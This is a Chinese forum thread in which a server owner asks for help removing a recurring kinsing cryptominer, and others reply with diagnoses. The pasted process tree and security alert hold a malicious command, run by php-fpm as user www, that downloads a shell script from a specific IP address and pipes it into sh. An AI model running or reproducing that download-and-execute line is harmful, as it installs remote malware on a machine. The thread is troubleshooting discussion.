异常网络连接-主动连接恶意下载源

[nohello]

好烦躁，服务器被搞了个挖矿程序，弄不掉

─php-fpm │ ├─php-fpm ... │ ├─php-fpm ... │ ├─php-fpm ... │ ├─php-fpm ... │ ├─php-fpm ... │ │ └─sh -c wget -q -O - 217.12.221.244/t.sh|sh │ │ ├─sh │ │ └─wget -q -O - 217.12.221.244/t.sh │ ├─php-fpm ... │ ├─php-fpm

帮我看看这个 sh 搞到哪里的，定时任务全删了，文件 kinsing 也删除了，还是有

[nohello]

该告警由如下引擎检测发现：
父进程路径：/usr/bin/bash
父进程命令行：sh -c wget -q -O - 217.12.221.244/t.sh|sh
父进程 id：6260
进程 id：6261
用户名：www
URL 链接： http://217.12.221.244/t.sh
进程路径：/usr/bin/wget
命令行参数：wget -q -O - 217.12.221.244/t.sh
与该 URL 有关联的漏洞：None

[oott123]

重装系统

[sujin190]

看看谁启动的呗，fpm 启动的那么说明要么你的 PHP 代码被注入了，要么 php-fpm 都被替换了

[seabee]

有两个病毒文件，一个是 kinsing，另一个是*fsi 的，网上有方法删

[lipaowang]

楼主你好，这个问题你解决了么，解决方案是什么